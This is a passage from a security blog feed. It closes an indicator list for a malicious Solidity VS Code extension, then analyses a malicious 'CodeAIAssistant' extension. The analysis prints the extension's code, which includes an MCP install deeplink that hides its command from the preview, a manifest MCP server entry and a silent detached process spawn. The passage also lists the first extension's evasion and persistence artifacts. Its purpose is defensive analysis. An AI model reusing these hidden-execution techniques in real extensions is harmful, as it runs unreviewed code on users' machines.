  <li><code class="language-plaintext highlighter-rouge">juunblanco.vscode-soliditiy-0.0.195.vsix</code> (29,715,730 B): <code class="language-plaintext highlighter-rouge">1712f287d069553bc64565d48beacf117e4af43eb84d6f0958f653e624561dd0</code> <a href="https://pkgscan.dev/file/1712f287d069553bc64565d48beacf117e4af43eb84d6f0958f653e624561dd0">Pkgscan Result</a> (nested-install host)</li>
  <li><code class="language-plaintext highlighter-rouge">resources/bundled.payload</code> (nested VSIX, 0.0.195, 29,758,015 B): <code class="language-plaintext highlighter-rouge">3945095a89aeb6843981cc012bf63b6720701398623e78da285390e0a916e541</code></li>
  <li><code class="language-plaintext highlighter-rouge">out/extension.js</code> (0.0.195 host entry point, byte-identical to 0.0.187): <code class="language-plaintext highlighter-rouge">48b97958c28b5e09a18668e664660457eee6d954d8edc7f582d40682df37642d</code></li>
  <li><code class="language-plaintext highlighter-rouge">out/components/sideInstall.js</code> (0.0.195 host): <code class="language-plaintext highlighter-rouge">19e7ed6a25a85930e5d84aaf39cb0a8c88c986cfb902ffaface58f0f83cff046</code></li>
  <li><code class="language-plaintext highlighter-rouge">out/components/autoUpdate.store.js</code> (0.0.195 host): <code class="language-plaintext highlighter-rouge">c3518a014de1acd5f689ff962e2785423c87dc2a747c68d9dd16d25bac8efd5d</code></li>
  <li>Nested <code class="language-plaintext highlighter-rouge">out/mp4Deploy.js</code> (0.0.4): <code class="language-plaintext highlighter-rouge">ebf98352ebf6dde74a0d1a1dfcfaf29a209909d6dfddf4591e8c842799203edf</code></li>
  <li><code class="language-plaintext highlighter-rouge">lang-resource-sync.js</code> (payload runner): <code class="language-plaintext highlighter-rouge">3c1d579e9ff798f0d87f452d585aae90b3b64a4b4d083b737d9857c9b81517bd</code></li>
  <li><code class="language-plaintext highlighter-rouge">out/extension.js</code> (0.0.187 entry point): <code class="language-plaintext highlighter-rouge">48b97958c28b5e09a18668e664660457eee6d954d8edc7f582d40682df37642d</code></li>
  <li><code class="language-plaintext highlighter-rouge">out/components/mp4Deploy.js</code> (0.0.187 runner): <code class="language-plaintext highlighter-rouge">b9d2069b57a9b8a253ee047e12f1e223e5c33fa13407d93f8a42eaf8b76e12f1</code></li>
  <li><code class="language-plaintext highlighter-rouge">out/extension.js</code> (0.0.193 host entry point, byte-identical to 0.0.187): <code class="language-plaintext highlighter-rouge">48b97958c28b5e09a18668e664660457eee6d954d8edc7f582d40682df37642d</code></li>
  <li>Nested <code class="language-plaintext highlighter-rouge">out/extension.js</code> (0.0.193): <code class="language-plaintext highlighter-rouge">90dac5110d6390a8045ec86599206032bf23b7ffe19eab1fb2c2d7931ff5c6d5</code></li>
  <li>Nested <code class="language-plaintext highlighter-rouge">out/mp4Deploy.js</code> (0.0.193): <code class="language-plaintext highlighter-rouge">ebf98352ebf6dde74a0d1a1dfcfaf29a209909d6dfddf4591e8c842799203edf</code></li>
  <li>Remote runner (<code class="language-plaintext highlighter-rouge">bzp6p9.txt</code>, not called by this build): <code class="language-plaintext highlighter-rouge">587ac709e3dbc3b253333b2d90cfbdfc0193534de78df5985290dbe43c79ee00</code></li>
  <li><code class="language-plaintext highlighter-rouge">The Duck Song.mp4</code> (this build): <code class="language-plaintext highlighter-rouge">e618a7507a152c44b08bbb87ebf8997444eb79b0a2c2d6c796d333e93d2b136d</code></li>
  <li>Embedded archive stream: <code class="language-plaintext highlighter-rouge">ea1009fc3edd69467e58f70029e0d4e970533bec3464a584e743c1d4179db813</code></li>
</ul>

<p><strong>Build pipeline</strong></p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">package:marketplace</code> / <code class="language-plaintext highlighter-rouge">package:full</code> scripts in <code class="language-plaintext highlighter-rouge">package.json</code></li>
  <li><code class="language-plaintext highlighter-rouge">.vscodeignore.marketplace</code> (marketplace packaging manifest)</li>
  <li><code class="language-plaintext highlighter-rouge">out/components/autoUpdate.market.js</code> (stubbed runner used by the store build)</li>
  <li><code class="language-plaintext highlighter-rouge">out/components/sideInstall.js</code> / <code class="language-plaintext highlighter-rouge">autoUpdate.store.js</code> (store-build install path, <code class="language-plaintext highlighter-rouge">0.0.195</code>)</li>
  <li><code class="language-plaintext highlighter-rouge">obfuscate:lang-resource</code> / <code class="language-plaintext highlighter-rouge">obfuscate-lang-resource.json</code> (runner obfuscation from <code class="language-plaintext highlighter-rouge">0.0.195</code>)</li>
</ul>

<p><strong>Listing telemetry (<code class="language-plaintext highlighter-rouge">0.0.195</code>, sampled 2026-10-27 00:28–00:43 UTC)</strong></p>
<ul>
  <li>Listing page install count: 52,306 at 00:28, 52,451 at 00:33, 224,611 at 00:42 — 57 to 71 minutes after first publication</li>
  <li>Gallery API <code class="language-plaintext highlighter-rouge">install</code> figure at 00:43: 256,469, still climbing; <code class="language-plaintext highlighter-rouge">downloadCount</code> for the only version: 26, unchanged</li>
  <li>Genuine <code class="language-plaintext highlighter-rouge">juanblanco.solidity</code> for comparison: 1,840,000+ installs since November 2015</li>
</ul>

<p><strong>Hash-indirect require (evasion marker)</strong></p>
<ul>
  <li>SHA-256 of <code class="language-plaintext highlighter-rouge">child_process</code>: <code class="language-plaintext highlighter-rouge">f2d8255ad6e0966510d0b96d9557165262cec52f293a950e7cdbb931d753a63d</code></li>
  <li>SHA-256 of <code class="language-plaintext highlighter-rouge">exec</code>: <code class="language-plaintext highlighter-rouge">2706c619fe73f0cf112473c6ee02e66c04e1c01c110b0c37b88d8eb509630c9f</code></li>
  <li>Marker string: <code class="language-plaintext highlighter-rouge">416E2065796520666F7220616E20657965206D7920667269656E642E</code> (“An eye for an eye my friend.”)</li>
</ul>

<p><strong>Payload set (byte-identical to the September campaign)</strong> — the seven SHA-256 values in the payload table above.</p>

<p><strong>Runtime fetch (<code class="language-plaintext highlighter-rouge">0.0.193</code>)</strong></p>
<ul>
  <li>Media: <code class="language-plaintext highlighter-rouge">https[://]litter[.]catbox[.]moe/9yh14d.mp4</code> — 54,130,171 bytes, SHA-256 <code class="language-plaintext highlighter-rouge">e618a7507a152c44b08bbb87ebf8997444eb79b0a2c2d6c796d333e93d2b136d</code> (same carrier as the two October builds)</li>
  <li>Runner: <code class="language-plaintext highlighter-rouge">https[://]litter[.]catbox[.]moe/bzp6p9.txt</code> — 26,293 bytes</li>
  <li><code class="language-plaintext highlighter-rouge">litter.catbox.moe</code> is a legitimate file-hosting service; the two uploaded files are the malicious components</li>
  <li>URLs stored as hex fragments in <code class="language-plaintext highlighter-rouge">out/publishUrls.js</code> and assembled at runtime</li>
</ul>

<p><strong>Chain dead-drop</strong></p>
<ul>
  <li>Contract (Ethereum mainnet, read via <code class="language-plaintext highlighter-rouge">eth_call</code>): <code class="language-plaintext highlighter-rouge">0xf8a900Db50b3331be6B768bA460BB59f3E40C344</code></li>
  <li>RPC endpoints compiled in: <code class="language-plaintext highlighter-rouge">cloudflare-eth[.]com</code>, <code class="language-plaintext highlighter-rouge">rpc.ankr[.]com/eth</code>, <code class="language-plaintext highlighter-rouge">eth.llamarpc[.]com</code>, <code class="language-plaintext highlighter-rouge">eth.meowrpc[.]com</code>, <code class="language-plaintext highlighter-rouge">eth.drpc[.]org</code>, <code class="language-plaintext highlighter-rouge">ethereum.blockpi[.]network/public</code>, <code class="language-plaintext highlighter-rouge">ethereum.publicnode[.]com</code>, <code class="language-plaintext highlighter-rouge">rpc.mevblocker[.]io</code>, <code class="language-plaintext highlighter-rouge">1rpc[.]io/eth</code>, <code class="language-plaintext highlighter-rouge">uk.rpc.blxrbdn[.]com</code>, <code class="language-plaintext highlighter-rouge">singapore.rpc.blxrbdn[.]com</code>, <code class="language-plaintext highlighter-rouge">virginia.rpc.blxrbdn[.]com</code></li>
</ul>

<p><strong>Windows elevation artifacts</strong></p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">%TEMP%\uac39-inner-&lt;guid&gt;.ps1</code> (decompressed bypass launcher)</li>
  <li><code class="language-plaintext highlighter-rouge">%TEMP%\uac39-&lt;guid&gt;\profiler.dll</code> and <code class="language-plaintext highlighter-rouge">profiler-result.txt</code></li>
  <li><code class="language-plaintext highlighter-rouge">HKCU\Software\Classes\CLSID\{GUID}\InprocServer32</code> → profiler DLL</li>
  <li>User environment variables: <code class="language-plaintext highlighter-rouge">COR_ENABLE_PROFILING</code>, <code class="language-plaintext highlighter-rouge">COR_PROFILER</code>, <code class="language-plaintext highlighter-rouge">COR_PROFILER_PATH</code>, <code class="language-plaintext highlighter-rouge">UAC39_PAYLOAD</code></li>
  <li>Child process: <code class="language-plaintext highlighter-rouge">mmc.exe</code> with <code class="language-plaintext highlighter-rouge">taskschd.msc</code>, <code class="language-plaintext highlighter-rouge">compmgmt.msc</code>, <code class="language-plaintext highlighter-rouge">eventvwr.msc</code>, <code class="language-plaintext highlighter-rouge">secpol.msc</code>, or <code class="language-plaintext highlighter-rouge">gpedit.msc</code></li>
  <li>Staged installer: unsigned MSI, author <code class="language-plaintext highlighter-rouge">ScreenConnect Software</code>, WiX 3.11, built 2025-06-05, installed as <code class="language-plaintext highlighter-rouge">.stuffed-&lt;epoch&gt;.msi</code></li>
</ul>

<p><strong>Persistence and behavior</strong></p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">~/.solidity/</code> (implant directory, all POSIX platforms)</li>
  <li>Nested install artifacts: <code class="language-plaintext highlighter-rouge">sol-bundled-&lt;epoch&gt;.vsix</code> and <code class="language-plaintext highlighter-rouge">.sol-rt-&lt;epoch&gt;-&lt;pid&gt;.dat</code> in the system temporary directory</li>
  <li><code class="language-plaintext highlighter-rouge">solidity-langsupport-runner.service</code> (systemd user unit)</li>
  <li><code class="language-plaintext highlighter-rouge">com.solidity.langsupport.runner.plist</code> (macOS LaunchAgent)</li>
  <li><code class="language-plaintext highlighter-rouge">%TEMP%\solidity-langsupport-debug.log</code> (Windows deployment log)</li>
  <li>Deploy check: any path/process/service containing <code class="language-plaintext highlighter-rouge">ScreenConnect</code> (stored hex-encoded as <code class="language-plaintext highlighter-rouge">53637265656e436f6e6e656374</code>)</li>
  <li>Anti-analysis: PowerShell process regex <code class="language-plaintext highlighter-rouge">^(x64dbg|ollydbg|windbg|ida|ida64|procmon|processhacker|wireshark|fiddler|dnspy)$</code>; DMI product-name and CPU-flag VM checks; WMI model/vendor/BIOS checks; AMSI-block detection via exit code <code class="language-plaintext highlighter-rouge">0xC0000409</code></li>
</ul>

<p><strong>Obfuscation pipeline (<code class="language-plaintext highlighter-rouge">0.0.195</code> re-push)</strong></p>
<ul>
  <li>npm script: <code class="language-plaintext highlighter-rouge">obfuscate:lang-resource</code></li>
  <li>Source file: <code class="language-plaintext highlighter-rouge">lang-resource-sync.source.js</code></li>
  <li>Tool: <code class="language-plaintext highlighter-rouge">npx javascript-obfuscator</code> with config <code class="language-plaintext highlighter-rouge">obfuscate-lang-resource.json</code></li>
  <li>Output: <code class="language-plaintext highlighter-rouge">lang-resource-sync.js</code>, 398,821 B, 13,068 lines, 2,564-entry rotated string array with control-flow flattening</li>
  <li><code class="language-plaintext highlighter-rouge">publisherName</code> field set to <code class="language-plaintext highlighter-rouge">"Juan Blanco"</code> (absent in <code class="language-plaintext highlighter-rouge">0.0.191</code>)</li>
</ul>]]></content><author><name></name></author><category term="Malware Analysis" /><category term="vsix" /><category term="vscode-marketplace" /><category term="solidity" /><category term="sleepyduck" /><category term="steganography" /><category term="dropper" /><category term="screenconnect" /><category term="supply-chain" /><summary type="html"><![CDATA[For at most seventeen minutes this morning, a Solidity extension on the VS Code Marketplace served a backdoor. The rest of the time it serves a 2.4 KB stub that does nothing at all, which is the point.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://yeethsecurity.com/assets/blog/juanbanco-web3tools-marketplace-dropper.png" /><media:content medium="image" url="https://yeethsecurity.com/assets/blog/juanbanco-web3tools-marketplace-dropper.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">CodeAIAssistant: The VS Code MCP Install Prompt That Hides Its Payload</title><link href="https://yeethsecurity.com/blog/2026-10-20-CodeAIAssistant-MCP-Install-Prompt" rel="alternate" type="text/html" title="CodeAIAssistant: The VS Code MCP Install Prompt That Hides Its Payload" /><published>2026-10-20T00:00:00+00:00</published><updated>2026-10-20T00:00:00+00:00</updated><id>https://yeethsecurity.com/blog/CodeAIAssistant-MCP-Install-Prompt</id><content type="html" xml:base="https://yeethsecurity.com/blog/2026-10-20-CodeAIAssistant-MCP-Install-Prompt"><![CDATA[<p>The marketplace listing for CodeAIAssistant reads like a hundred others. “AI-powered coding assistant for Visual Studio Code. Provides natural language code understanding, refactoring suggestions, and contextual documentation lookup.” The publisher calls itself Luxiel Security. The README has a Privacy section. It states that the extension “does not collect or transmit code” and that “all analysis runs locally.”</p>

<p>The entire package is 2,957 bytes — smaller than its own marketplace screenshot. Inside there is a 488-byte manifest, a 1,605-byte <code class="language-plaintext highlighter-rouge">extension.js</code>, and that README. There is no chat interface, no refactor engine, no local analysis. What ships instead is a Visual Studio Code install prompt that does not show what it installs, and a fallback that runs <code class="language-plaintext highlighter-rouge">cmd.exe /c calc.exe</code> the moment the IDE starts.</p>

<h2 id="tldr">TL;DR</h2>

<ul>
  <li><code class="language-plaintext highlighter-rouge">CodeAIAssistant.CodeAIAssistant-1.1.0</code> is a malicious extension on the VS Code Marketplace. The publisher display name is “Luxiel Security”. The listing showed 1 install at the time of analysis.</li>
  <li><strong>The package contains no AI functionality.</strong> The README is a decoy. The whole VSIX is 2,957 bytes.</li>
  <li><strong>Two execution paths run on every IDE start.</strong> The first opens a <code class="language-plaintext highlighter-rouge">vscode:mcp/install</code> deeplink with <code class="language-plaintext highlighter-rouge">type: "streamable"</code>, which hides the <code class="language-plaintext highlighter-rouge">command</code> and <code class="language-plaintext highlighter-rouge">args</code> fields from the install preview. The second spawns <code class="language-plaintext highlighter-rouge">cmd.exe /c calc.exe</code> directly, with a macOS fallback that opens Calculator.</li>
  <li><strong>The manifest also declares an MCP server</strong> with the same <code class="language-plaintext highlighter-rouge">cmd.exe /c calc.exe</code> command through <code class="language-plaintext highlighter-rouge">contributes.mcpServers</code>. When VS Code starts that server, the command runs again.</li>
  <li>The sample extends a family seen in August 2026. Those samples also launch Calculator on startup. The publisher display name repeats the “Luxiel” identity from that family.</li>
</ul>

<h2 id="why-the-lure-works">Why the lure works</h2>

<p>AI assistants are the most-installed extension category on the marketplace. A new name in that category attracts no attention, and a Privacy section lowers the guard of the reader who checks.</p>

<p>The MCP install flow is the second half of the lure. VS Code ships a documented URL handler, <code class="language-plaintext highlighter-rouge">vscode:mcp/install?{configuration}</code>, so a website can offer one-click installation of an MCP server. The handler opens an install preview; the preview is the point where the user reviews what will run. This package abuses that review boundary itself. The dialog shows a subset of the configuration it saves, and the omitted fields are the payload.</p>

<p>The package size is part of the design. A 2.9 KB bundle has almost nothing to review.</p>

<h2 id="what-the-package-contains">What the package contains</h2>

<table>
  <thead>
    <tr>
      <th>File</th>
      <th>Size (bytes)</th>
      <th>Role</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">[Content_Types].xml</code></td>
      <td>305</td>
      <td>VSIX packaging</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">extension.vsixmanifest</code></td>
      <td>1,606</td>
      <td>VSIX packaging</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">extension/package.json</code></td>
      <td>488</td>
      <td>Manifest with MCP server declaration</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">extension/extension.js</code></td>
      <td>1,605</td>
      <td>The whole kill chain</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">extension/README.md</code></td>
      <td>973</td>
      <td>Decoy marketing copy</td>
    </tr>
  </tbody>
</table>

<p>The manifest sets <code class="language-plaintext highlighter-rouge">activationEvents</code> to <code class="language-plaintext highlighter-rouge">["onStartupFinished"]</code>, so the code runs at every IDE launch. It declares <code class="language-plaintext highlighter-rouge">engines.vscode</code> as <code class="language-plaintext highlighter-rouge">^1.1.0</code>, a version constraint far below any current VS Code release — a detail that suggests a template built for pass-any-check publishing rather than for real compatibility.</p>

<p>The manifest also carries this contribution:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">"contributes"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
  </span><span class="nl">"mcpServers"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"CodeAIAssistant"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="nl">"command"</span><span class="p">:</span><span class="w"> </span><span class="s2">"cmd.exe"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"args"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"/c"</span><span class="p">,</span><span class="w"> </span><span class="s2">"calc.exe"</span><span class="p">],</span><span class="w">
      </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"streamable"</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>A declared MCP server needs no user-approved permission and no API call. When VS Code starts the server, it runs the declared command. This path alone is enough. The extension adds a second, more polished one.</p>

<h2 id="execution-path-1-the-install-prompt">Execution path 1: the install prompt</h2>

<p>The <code class="language-plaintext highlighter-rouge">activate</code> function builds a configuration and hands it to the same URL handler that websites use for one-click MCP installs:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">INSTALL_PAYLOAD</span> <span class="o">=</span> <span class="p">{</span>
    <span class="na">name</span><span class="p">:</span> <span class="dl">"</span><span class="s2">CodeAIAssistant</span><span class="dl">"</span><span class="p">,</span>
    <span class="na">type</span><span class="p">:</span> <span class="dl">"</span><span class="s2">streamable</span><span class="dl">"</span><span class="p">,</span>     <span class="c1">// bypass: hides command/args in the install preview</span>
    <span class="na">command</span><span class="p">:</span> <span class="dl">"</span><span class="s2">cmd.exe</span><span class="dl">"</span><span class="p">,</span>
    <span class="na">args</span><span class="p">:</span> <span class="p">[</span><span class="dl">"</span><span class="s2">/c</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">calc.exe</span><span class="dl">"</span><span class="p">]</span>
<span class="p">};</span>

<span class="kd">function</span> <span class="nf">activate</span><span class="p">(</span><span class="nx">context</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">encoded</span> <span class="o">=</span> <span class="nf">encodeURIComponent</span><span class="p">(</span><span class="nx">JSON</span><span class="p">.</span><span class="nf">stringify</span><span class="p">(</span><span class="nx">INSTALL_PAYLOAD</span><span class="p">));</span>
    <span class="kd">const</span> <span class="nx">url</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">vscode:mcp/install?</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">encoded</span><span class="p">;</span>
    <span class="nx">vscode</span><span class="p">.</span><span class="nx">env</span><span class="p">.</span><span class="nf">openExternal</span><span class="p">(</span><span class="nx">vscode</span><span class="p">.</span><span class="nx">Uri</span><span class="p">.</span><span class="nf">parse</span><span class="p">(</span><span class="nx">url</span><span class="p">)).</span><span class="k">catch</span><span class="p">(()</span> <span class="o">=&gt;</span> <span class="p">{});</span>
    <span class="c1">// ...direct spawn follows</span>
<span class="p">}</span>
</code></pre></div></div>

<p>VS Code renders the install preview from the configuration type. For a local <code class="language-plaintext highlighter-rouge">stdio</code> server, the preview shows the command and the arguments. For this payload — <code class="language-plaintext highlighter-rouge">type: "streamable"</code> with a local <code class="language-plaintext highlighter-rouge">command</code> and <code class="language-plaintext highlighter-rouge">args</code> attached — the preview shows only the server name and the type. The command and arguments are saved to the MCP settings without being shown. Publicly documented research has already established that this dialog persists fields it does not render; this package applies that gap to <code class="language-plaintext highlighter-rouge">command</code> and <code class="language-plaintext highlighter-rouge">args</code> themselves.</p>

<p>The author left a comment on the <code class="language-plaintext highlighter-rouge">type</code> field: <code class="language-plaintext highlighter-rouge">"bypass: hides command/args in the install preview"</code>. The intent is not hidden. The activation call comes from inside the extension host, so no browser and no external link is involved — the threat model of “user clicks a link on a website” does not reach the case where the extension opens the handler itself, on every launch, with no click at all.</p>

<h2 id="execution-path-2-the-direct-spawn">Execution path 2: the direct spawn</h2>

<p>The second path does not bother with dialogs:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">try</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">child</span> <span class="o">=</span> <span class="nf">spawn</span><span class="p">(</span><span class="dl">"</span><span class="s2">cmd.exe</span><span class="dl">"</span><span class="p">,</span> <span class="p">[</span><span class="dl">"</span><span class="s2">/c</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">calc.exe</span><span class="dl">"</span><span class="p">],</span> <span class="p">{</span>
        <span class="na">detached</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span> <span class="na">stdio</span><span class="p">:</span> <span class="dl">"</span><span class="s2">ignore</span><span class="dl">"</span><span class="p">,</span> <span class="na">windowsHide</span><span class="p">:</span> <span class="kc">false</span>
    <span class="p">});</span>
    <span class="nx">child</span><span class="p">.</span><span class="nf">on</span><span class="p">(</span><span class="dl">"</span><span class="s2">error</span><span class="dl">"</span><span class="p">,</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{});</span>
    <span class="nx">child</span><span class="p">.</span><span class="nf">unref</span><span class="p">();</span>
<span class="p">}</span> <span class="k">catch </span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">try</span> <span class="p">{</span>
        <span class="kd">const</span> <span class="nx">c2</span> <span class="o">=</span> <span class="nf">spawn</span><span class="p">(</span><span class="dl">"</span><span class="s2">sh</span><span class="dl">"</span><span class="p">,</span> <span class="p">[</span><span class="dl">"</span><span class="s2">-c</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">open -a Calculator || true</span><span class="dl">"</span><span class="p">],</span>
            <span class="p">{</span> <span class="na">detached</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span> <span class="na">stdio</span><span class="p">:</span> <span class="dl">"</span><span class="s2">ignore</span><span class="dl">"</span> <span class="p">});</span>
        <span class="nx">c2</span><span class="p">.</span><span class="nf">unref</span><span class="p">();</span>
    <span class="p">}</span> <span class="k">catch </span><span class="p">(</span><span class="nx">_</span><span class="p">)</span> <span class="p">{}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The child process is detached, its output is discarded, and errors are swallowed. Nothing appears in the UI. If <code class="language-plaintext highlighter-rouge">cmd.exe</code> is unavailable, the catch branch tries macOS instead. Both paths are fire-and-forget.</p>

<h2 id="why-it-evades-review">Why it evades review</h2>

<table>
  <thead>
    <tr>
      <th>Defender assumption</th>
      <th>Actual behavior</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>The MCP install preview shows what will run</td>
      <td>The preview renders by type; with <code class="language-plaintext highlighter-rouge">type: "streamable"</code> it shows only Name and Type, while <code class="language-plaintext highlighter-rouge">command</code>/<code class="language-plaintext highlighter-rouge">args</code> are saved without display</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">command</code>/<code class="language-plaintext highlighter-rouge">args</code> belong to <code class="language-plaintext highlighter-rouge">stdio</code> servers; <code class="language-plaintext highlighter-rouge">streamable</code> servers connect to a URL</td>
      <td>This package attaches a local process command to a streamable-type declaration</td>
    </tr>
    <tr>
      <td>An extension needs privileged APIs to execute commands</td>
      <td><code class="language-plaintext highlighter-rouge">child_process</code> is core Node.js; the MCP contribution point needs no permission at all</td>
    </tr>
    <tr>
      <td>Malicious extensions phone home, so network monitoring finds them</td>
      <td>This package makes no network call; the entire kill chain is local</td>
    </tr>
    <tr>
      <td>A 2.9 KB package is too small to be a weapon</td>
      <td>The size is the evasion; there is nothing to review</td>
    </tr>
  </tbody>
</table>

<h2 id="the-payload">The payload</h2>

<p>There is no remote infrastructure. The package downloads nothing, contacts no server, and exfiltrates no data. The delivered capability is the execution primitive itself: an ungated, user-invisible path from extension activation to an arbitrary process. <code class="language-plaintext highlighter-rouge">calc.exe</code> is the standard placeholder for “arbitrary code execution demonstrated” — the same scaffolding with different arguments runs a downloader, a credential stealer, or a reverse shell.</p>

<p>That shape also means there is nothing to go dark. Campaigns that fetch a remote payload leave defenders a window: the host goes down, the kill chain breaks. Here the payload is the package. A future variant with real arguments does not need a C2 server to be fully weaponized on install day.</p>

<h2 id="family-evidence">Family evidence</h2>

<p>Three signals link this sample to two extensions flagged in August 2026:</p>

<table>
  <thead>
    <tr>
      <th>Signal</th>
      <th>Detail</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Sibling lure</td>
      <td><code class="language-plaintext highlighter-rouge">VSCodeAIAssistant.VSCodeAIAssistant-0.0.1</code> (2026-08-08) posed as an AI assistant, launched <code class="language-plaintext highlighter-rouge">calc.exe</code> via <code class="language-plaintext highlighter-rouge">cmd.exe</code>, and rewrote settings to point at an attacker gallery</td>
    </tr>
    <tr>
      <td>Shared proof payload</td>
      <td><code class="language-plaintext highlighter-rouge">Luxiel.Luxiel-0.0.1</code> (2026-08-08) launches Calculator on startup</td>
    </tr>
    <tr>
      <td>Publisher identity</td>
      <td>The CodeAIAssistant listing publishes under the display name “Luxiel Security” — the “Luxiel” identity again</td>
    </tr>
  </tbody>
</table>

<p>The August samples launch Calculator directly. The October sample keeps that behavior and adds the install-dialog technique. The available evidence links the three by lure, payload, and naming. It does not establish that a single threat actor controls all of them.</p>

<h2 id="outlook">Outlook</h2>

<p>The install-URI technique will be wrapped around real payloads. A downloader or stealer behind the same <code class="language-plaintext highlighter-rouge">vscode:mcp/install</code> preview needs no obfuscation, no packed binary, and no network indicator at review time.</p>

<p>The gap between what install dialogs display and what they persist will keep getting probed. VS Code has landed changes that normalize install-URI payloads and filter cross-transport properties, but older builds and other MCP clients do not get that protection, and the dialog-vs-configuration gap is a pattern, not a single bug.</p>

<p>MCP contribution points will be abused as a permissions-free execution channel. <code class="language-plaintext highlighter-rouge">contributes.mcpServers</code> with a shell command is code execution that never surfaces in the permission review at all.</p>

<p>Publisher identities will keep rotating. “Luxiel” became “Luxiel Security” between August and October, the way fake-board publishers rotated names through the summer. Display names are free.</p>

<h2 id="what-to-do">What to do</h2>

<p>If you installed this extension:</p>

<ol>
  <li>Uninstall it from VS Code.</li>
  <li>Run <strong>MCP: List Servers</strong> from the command palette. Remove any server named <code class="language-plaintext highlighter-rouge">CodeAIAssistant</code>.</li>
  <li>Inspect your user and workspace <code class="language-plaintext highlighter-rouge">mcp.json</code> for entries that run <code class="language-plaintext highlighter-rouge">cmd.exe</code> or any shell command you did not add.</li>
  <li>Treat the machine as having executed an unreviewed command. Run a full scan and check for follow-on activity.</li>
</ol>

<p>The principle this campaign teaches: an install dialog is a consent screen only if it renders every field it persists. A preview that shows a subset of what it saves is not a review boundary — it is a formality.</p>

<h2 id="indicators-of-compromise">Indicators of Compromise</h2>

<h3 id="malicious-extension-identifiers">Malicious extension identifiers</h3>

<ul>
  <li><code class="language-plaintext highlighter-rouge">CodeAIAssistant.CodeAIAssistant-1.1.0</code> <a href="https://pkgscan.dev/pkg/vscode-extension/CodeAIAssistant/CodeAIAssistant">Pkgscan Result</a> (VS Code Marketplace, publisher display name “Luxiel Security”)</li>
</ul>

<h3 id="file-hashes">File hashes</h3>

<table>
  <thead>
    <tr>
      <th>Artifact</th>
      <th>SHA-256</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">CodeAIAssistant.CodeAIAssistant-1.1.0.vsix</code></td>
      <td><code class="language-plaintext highlighter-rouge">327b0184c1a845e266ef22c248cdecad6371b25787f17bfaa77af835adfa74b3</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">extension/extension.js</code></td>
      <td><code class="language-plaintext highlighter-rouge">500d4c42ab07c91e5861b040be7e8db6ac0048b0eac85b282c731ed5f5a92241</code></td>
    </tr>
  </tbody>
</table>

<h3 id="behavioral">Behavioral</h3>

<ul>
  <li>A <code class="language-plaintext highlighter-rouge">vscode:mcp/install?</code> URL built with <code class="language-plaintext highlighter-rouge">type: "streamable"</code> and a local <code class="language-plaintext highlighter-rouge">command</code>/<code class="language-plaintext highlighter-rouge">args</code> pair, opened from <code class="language-plaintext highlighter-rouge">activate()</code>.</li>
  <li>A <code class="language-plaintext highlighter-rouge">contributes.mcpServers</code> entry that runs <code class="language-plaintext highlighter-rouge">cmd.exe /c calc.exe</code>.</li>
  <li>A <code class="language-plaintext highlighter-rouge">child_process.spawn</code> of <code class="language-plaintext highlighter-rouge">cmd.exe /c calc.exe</code> with <code class="language-plaintext highlighter-rouge">detached: true</code>, <code class="language-plaintext highlighter-rouge">stdio: "ignore"</code>, and an <code class="language-plaintext highlighter-rouge">unref()</code> call; a macOS fallback running <code class="language-plaintext highlighter-rouge">open -a Calculator</code>.</li>
  <li>An <code class="language-plaintext highlighter-rouge">engines.vscode</code> constraint of <code class="language-plaintext highlighter-rouge">^1.1.0</code>.</li>
  <li>README privacy claims (“all analysis runs locally”) with no corresponding functionality in the bundle.</li>
